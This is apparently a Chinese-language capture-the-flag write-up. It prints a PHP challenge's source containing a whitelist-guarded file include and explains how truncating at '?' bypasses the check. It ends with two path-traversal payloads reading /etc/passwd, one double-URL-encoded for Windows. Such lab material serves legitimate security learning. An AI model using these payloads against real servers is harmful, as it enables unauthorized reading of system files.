进去之后只有一个大滑稽,右键查看源码,发现source.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
得到代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
在44行发现include $_REQUEST['file'];
,存在文件包含漏洞,但是需要满足上面的三个条件,分别为:
empty($_REQUEST['file']
,file参数中的内容不为空。is_string($_REQUEST['file']
,file参数中的内容是字符串。emmm::checkFile($_REQUEST['file']
,checkFile返回True。
前两个就不用再说了,重点是第三个。
第7行开始,声明了一个whitelist:
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
13行,进行一次in_array判断:
if (in_array($page, $whitelist)) {
return true;
}
只有在whitelist中才会返回true。
接着程序考虑到了问号存在的情况,提取问号之前的字符串:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
如果截断后的字符串在whitelist中就返回true。
linux环境的题目下到这里其实就存在漏洞了,也就是说现在传递的参数中加上一个source.php?
或者hint.php?
,之后再在?
后面加上需要包含的文件即可。
payload:
index.php?file=source.php?../../../../../../../../../../etc/passwd
但是在windows环境下不可以这样,因为windows下将?
当作保留字符,出现在路径中会报错,继续往下分析:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
可以看到假如前面的都没有通过,那么$_page会经过一次urldecode。那么将?
编码两次,即可成功绕过。
index.php?file=source.php%253f../../../../../../../../../../etc/passwd
之所以为什么编码两次,是因为参数发送到服务器时,就会进行一次url解码,如果是一次编码,那么最后包含文件时还是会出错,所以需要进行两次编码。